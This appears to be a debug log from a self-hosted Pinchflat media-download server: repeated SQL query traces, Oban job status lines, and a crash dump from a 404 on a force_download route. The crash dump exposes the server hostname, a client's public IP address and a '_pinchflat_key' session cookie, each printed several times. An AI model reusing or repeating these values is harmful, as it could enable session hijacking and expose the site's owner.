queue=11.9ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90767] 06:03:20.146 [debug] QUERY OK source="tasks" db=4.3ms queue=10.4ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90892] 06:03:20.146 [debug] QUERY OK source="sources" db=5.0ms queue=13.9ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:20.147 [debug] QUERY OK source="sources" db=4.1ms queue=11.5ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:20.148 [debug] QUERY OK source="media_profiles" db=2.0ms queue=13.7ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:20.148 [debug] QUERY OK source="settings" db=2.0ms queue=11.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.148 [debug] QUERY OK source="sources" db=3.6ms queue=13.1ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:20.149 [debug] QUERY OK source="media_profiles" db=2.0ms queue=8.9ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:20.149 [debug] QUERY OK source="settings" db=0.3ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.152 [info] Sent 200 in 85ms 06:03:20.154 [debug] QUERY OK source="settings" db=1.0ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.155 [debug] QUERY OK source="settings" db=1.4ms queue=0.6ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.155 [debug] QUERY OK source="settings" db=1.5ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.156 [info] Sent 200 in 82ms 06:03:20.158 [debug] QUERY OK source="settings" db=2.8ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.155 [debug] Invalid range request for media item: 4adf5ac9-b70c-4182-9100-86b50d6f5878 - serving full file 06:03:20.155 [debug] QUERY OK source="settings" db=1.3ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.159 [info] Sent 200 in 51ms 06:03:20.159 [debug] QUERY OK source="settings" db=5.0ms queue=0.7ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.159 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:03:20.159 [info] Sent 200 in 39ms 06:03:20.159 [debug] QUERY OK source="oban_jobs" db=1.8ms queue=0.3ms idle=1.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6789, 6807, 6826, 6845, 6862, 6880, 6907, 6925, 6942, 6961, 6978, 6994, 7011, 7027, 7045, 7061, 7078, 7095, 7111, 7128, 7144, 7162, 7178, 7195, 7214, 7231, 7250, 7266, 7283] 06:03:20.161 [debug] QUERY OK source="settings" db=1.6ms queue=0.2ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.161 [debug] QUERY OK source="settings" db=1.1ms queue=0.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.161 [info] Sent 200 in 94ms 06:03:20.161 [debug] QUERY OK source="settings" db=0.5ms queue=0.9ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.161 [debug] QUERY OK source="settings" db=2.5ms queue=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.162 [info] Sent 200 in 96ms 06:03:20.162 [debug] QUERY OK source="settings" db=0.5ms queue=1.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.162 [debug] QUERY OK source="media_profiles" db=0.6ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:20.164 [debug] QUERY OK source="oban_jobs" db=5.0ms queue=0.2ms idle=3.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6788, 6806, 6825, 6844, 6861, 6879, 6906, 6924, 6941, 6960, 6977, 6993, 7010, 7026, 7044, 7060, 7077, 7094, 7110, 7127, 7143, 7161, 7177, 7194, 7213, 7230, 7249, 7265, 7282] 06:03:20.165 [info] Sent 200 in 50ms 06:03:20.164 [debug] QUERY OK source="settings" db=2.7ms queue=0.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.165 [info] Sent 200 in 65ms 06:03:20.165 [debug] QUERY OK source="media_profiles" db=6.0ms queue=0.2ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:20.165 [info] Sent 200 in 53ms 06:03:20.165 [debug] QUERY OK source="settings" db=0.5ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.160 [error] #PID<0.140152.0> running PinchflatWeb.Endpoint (connection #PID<0.140151.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/media/141039/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/media/141039/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140151.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141039/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47282}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140152.0>, params: %{}, path_info: ["sources", "30", "media", "141039", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.126.10"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.126.10"} ], request_path: "/sources/30/media/141039/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXYndcrpv28XToAACSG"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140151.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141039/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47282}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVTNnRDlMZGRhS1B2c29oU1h4emh6cGt3.DrU3U_WJLX5ooXruDYrvB_FtlqDrg15jyHQ1SpDKIjg", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.126.10", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.126.10" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/media/141039/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140151.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141039/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47282}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image (truncated) 06:03:20.166 [debug] QUERY OK source="settings" db=3.3ms queue=0.9ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.166 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.2ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:20.166 [debug] QUERY OK source="settings" db=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.167 [debug] QUERY OK source="settings" db=0.8ms queue=0.2ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.167 [info] Sent 200 in 73ms 06:03:20.168 [debug] QUERY OK source="settings" db=0.4ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.168 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:20.168 [info] Sent 200 in 63ms 06:03:20.169 [debug] QUERY OK source="settings" db=0.7ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.169 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.2ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:20.170 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:20.171 [info] Sent 200 in 57ms 06:03:20.176 [info] Sent 200 in 61ms 06:03:20.179 [info] Sent 200 in 66ms 06:03:36.068 [info] {"source":"oban","duration":1936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:42.258 [info] GET / 06:03:42.258 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 06:03:42.259 [debug] QUERY OK source="settings" db=0.3ms idle=878.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:42.260 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=678.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 06:03:42.261 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=679.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 06:03:42.262 [info] Exqlite.Connection (#PID<0.2321.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.140165.0> exited 06:03:42.263 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 06:04:00.006 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:04:06.071 [info] {"source":"oban","duration":1769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:36.074 [info] {"source":"oban","duration":1838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:00.006 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:05:06.077 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:36.080 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:00.008 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:06:06.083 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:36.086 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:00.008 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:07:06.089 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:36.092 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:00.009 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:08:06.094 [info] {"source":"oban","duration":1849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:36.097 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:00.010 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:09:06.100 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:36.102 [info] {"source":"oban","duration":1733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:00.012 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:10:06.105 [info] 